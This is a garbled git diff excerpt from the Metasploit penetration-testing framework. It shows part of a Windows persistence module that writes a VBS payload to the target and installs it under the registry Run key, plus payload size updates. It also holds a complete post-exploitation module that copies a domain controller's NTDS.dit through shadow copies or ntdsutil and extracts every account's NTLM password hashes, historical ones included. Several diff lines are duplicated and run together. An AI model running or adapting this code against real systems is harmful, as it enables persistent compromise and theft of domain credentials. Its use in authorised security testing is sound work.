'Payload' => mh.datastore['PAYLOAD'],
'LocalInput' => self.user_input,
'LocalOutput' => self.user_output,
'RunAsJob' => true
)
# Check to make sure that the handler is actually valid
# If another process has the port open, then the handler will fail
# but it takes a few seconds to do so. The module needs to give
# the handler time to fail or the resulting connections from the
# target could end up on on a different handler with the wrong payload
# or dropped entirely.
Rex.sleep(5)
return nil if framework.jobs[mh.job_id.to_s].nil?
return mh.job_id.to_s
else
print_error('A job is listening on the same local port')
return nil
end
end
# Method for checking if a listener for a given IP and port is present
# will return true if a conflict exists and false if none is found
def check_for_listener(lhost, lport)
client.framework.jobs.each do |k, j|
if j.name =~ / multi\/handler/
current_id = j.jid
current_lhost = j.ctx[0].datastore['LHOST']
current_lport = j.ctx[0].datastore['LPORT']
if lhost == current_lhost && lport == current_lport.to_i
print_error("Job #{current_id} is listening on IP #{current_lhost} and port #{current_lport}")
return true
end
end
end
false
end
# Function for creating log folder and returning log path # Function for creating log folder and returning log path
def log_file(log_path = nil) def log_file(log_path = nil)
#Get hostname # Get hostname
host = session.sys.config.sysinfo["Computer"] host = session.sys.config.sysinfo["Computer"]
# Create Filename info to be appended to downloaded files # Create Filename info to be appended to downloaded files
@ -109,57 +311,18 @@ class Metasploit3 < Msf::Exploit::Local
# Create a directory for the logs # Create a directory for the logs
if log_path if log_path
logs = ::File.join(log_path, 'logs', 'persistence', logs = ::File.join(log_path, 'logs', 'persistence',
Rex::FileUtils.clean_path(host + filenameinfo) ) Rex::FileUtils.clean_path(host + filenameinfo))
else else
logs = ::File.join(Msf::Config.log_directory, 'persistence', logs = ::File.join(Msf::Config.log_directory, 'persistence',
Rex::FileUtils.clean_path(host + filenameinfo) ) Rex::FileUtils.clean_path(host + filenameinfo))
end end
# Create the log directory # Create the log directory
::FileUtils.mkdir_p(logs) ::FileUtils.mkdir_p(logs)
#logfile name # logfile name
logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc" logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc"
return logfile logfile
end
# Writes script to target host and returns the pathname of the target file or nil if the
# file could not be written.
def write_script_to_target(vbs, name)
tempdir = datastore['PATH'] || session.sys.config.getenv('TEMP')
unless name
tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs"
else
tempvbs = tempdir + "\\" + name + ".vbs"
end
begin
write_file(tempvbs, vbs)
print_good("Persistent Script written to #{tempvbs}")
# Escape windows pathname separators.
@clean_up_rc << "rm #{tempvbs.gsub(/\\/, '//')}\n"
rescue
print_error("Could not write the payload on the target hosts.")
# return nil since we could not write the file on the target host.
tempvbs = nil
end
return tempvbs
end
# Installs payload in to the registry HKLM or HKCU
def write_to_reg(key, script_on_target, registry_value)
nam = registry_value || Rex::Text.rand_text_alpha(rand(8)+8)
key_path = "#{key.to_s}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
print_status("Installing into autorun as #{key_path}\\#{nam}")
if key && registry_setvaldata(key_path, nam, script_on_target, "REG_SZ")
print_good("Installed into autorun as #{key_path}\\#{nam}")
return true
else
print_error("Failed to make entry in the registry for persistence.")
end
false
end end
end end

View File

@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
module Metasploit4 module Metasploit4
CachedSize = 1102898 CachedSize = 1104434
include Msf::Payload::TransportConfig include Msf::Payload::TransportConfig
include Msf::Payload::Windows include Msf::Payload::Windows

View File

@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
module Metasploit4 module Metasploit4
CachedSize = 1103942 CachedSize = 1105478
include Msf::Payload::TransportConfig include Msf::Payload::TransportConfig
include Msf::Payload::Windows include Msf::Payload::Windows

View File

@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
module Metasploit4 module Metasploit4
CachedSize = 1103942 CachedSize = 1105478
include Msf::Payload::TransportConfig include Msf::Payload::TransportConfig
include Msf::Payload::Windows include Msf::Payload::Windows

View File

@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
module Metasploit4 module Metasploit4
CachedSize = 1102898 CachedSize = 1104434
include Msf::Payload::TransportConfig include Msf::Payload::TransportConfig
include Msf::Payload::Windows include Msf::Payload::Windows

View File

@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
module Metasploit4 module Metasploit4
CachedSize = 1102898 CachedSize = 1104434
include Msf::Payload::TransportConfig include Msf::Payload::TransportConfig
include Msf::Payload::Windows include Msf::Payload::Windows

View File

@ -0,0 +1,156 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
require 'msf/core/auxiliary/report'
require 'metasploit/framework/ntds/parser'
class Metasploit3 < Msf::Post
include Msf::Post::Windows::Registry
include Msf::Auxiliary::Report
include Msf::Post::Windows::Priv
include Msf::Post::Windows::ShadowCopy
include Msf::Post::File
def initialize(info={})
super(update_info(info,
'Name' => 'Windows Domain Controller Hashdump',
'Description' => %q{
This module attempts to copy the NTDS.dit database from a live Domain Controller
and then parse out all of the User Accounts. It saves all of the captured password
hashes, including historical ones.
},
'License' => MSF_LICENSE,
'Author' => ['theLightCosine'],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))
end
def run
if preconditions_met?
ntds_file = copy_database_file
unless ntds_file.nil?
print_status "Repairing NTDS database after copy..."
print_status repair_ntds(ntds_file)
realm = domain_name
ntds_parser = Metasploit::Framework::NTDS::Parser.new(client, ntds_file)
ntds_parser.each_account do |ad_account|
print_good ad_account.to_s
report_hash(ad_account.ntlm_hash.downcase, ad_account.name, realm)
ad_account.nt_history.each_with_index do |nt_hash, index|
hash_string = ad_account.lm_history[index] || Metasploit::Credential::NTLMHash::BLANK_LM_HASH
hash_string << ":#{nt_hash}"
report_hash(hash_string.downcase,ad_account.name, realm)
end
end
rm_f(ntds_file)
end
end
end
def copy_database_file
database_file_path = nil
if start_vss
case sysinfo["OS"]
when /2003| \.NET/
database_file_path = vss_method
when /2008|2012/
database_file_path = ntdsutil_method
else
print_error "This version of Windows is unsupported"
end
end
database_file_path
end
def domain_name
result = cmd_exec('cmd.exe', '/c systeminfo | findstr /B /C:"Domain"')
result.gsub!(/Domain:\s+/,'')
end
def is_domain_controller?
file_exist?('%SystemDrive%\Windows\ntds\ntds.dit')
end
def ntdsutil_method
tmp_path = "#{get_env("%WINDIR%")}\\Temp\\#{Rex::Text.rand_text_alpha((rand(8)+6))}"
command_arguments = "\"activate instance ntds\" \"ifm\" \"Create Full #{tmp_path}\" quit quit"
result = cmd_exec("ntdsutil.exe", command_arguments,90)
if result.include? "IFM media created successfully"
file_path = "#{tmp_path}\\Active Directory\\ntds.dit"
print_status "NTDS database copied to #{file_path}"
else
print_error "There was an error copying the ntds.dit file!"
vprint_error result
file_path = nil
end
file_path
end
def preconditions_met?
status = true
unless is_domain_controller?
print_error "This does not appear to be an AD Domain Controller"
status = false
end
unless is_admin?
print_error "This module requires Admin privs to run"
status = false
end
if is_uac_enabled?
print_error "This module requires UAC to be bypassed first"
status = false
end
unless session_compat?
status = false
end
return status
end
def repair_ntds(path='')
arguments = "/p /o \"#{path}\""
cmd_exec("esentutl", arguments)
end
def report_hash(ntlm_hash, username, realm)
cred_details = {
origin_type: :session,
session_id: session_db_id,
post_reference_name: self.refname,
private_type: :ntlm_hash,
private_data: ntlm_hash,
username: username,
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
realm_value: realm,
workspace_id: myworkspace_id
}
create_credential(cred_details)
end
def session_compat?
if sysinfo['Architecture'] =~ /x64/ && session.platform =~ /x86/
print_error "You are running 32-bit Meterpreter on a 64 bit system"
print_error "Try migrating to a 64-bit process and try again"
false
else
true
end
end
def vss_method
id = create_shadowcopy("#{get_env("%SystemDrive%")}\\")
print_status "Getting Details of ShadowCopy #{id}"
sc_details = get_sc_details(id)
sc_path = "#{sc_details['DeviceObject']}\\windows\\ntds\\ntds.dit"
target_path = "#{get_env("%WINDIR%")}\\Temp\\#{Rex::Text.rand_text_alpha((rand(8)+6))}"
print_status "Moving ntds.dit to #{target_path}"
move_file(sc_path, target_path)
target_path
end
end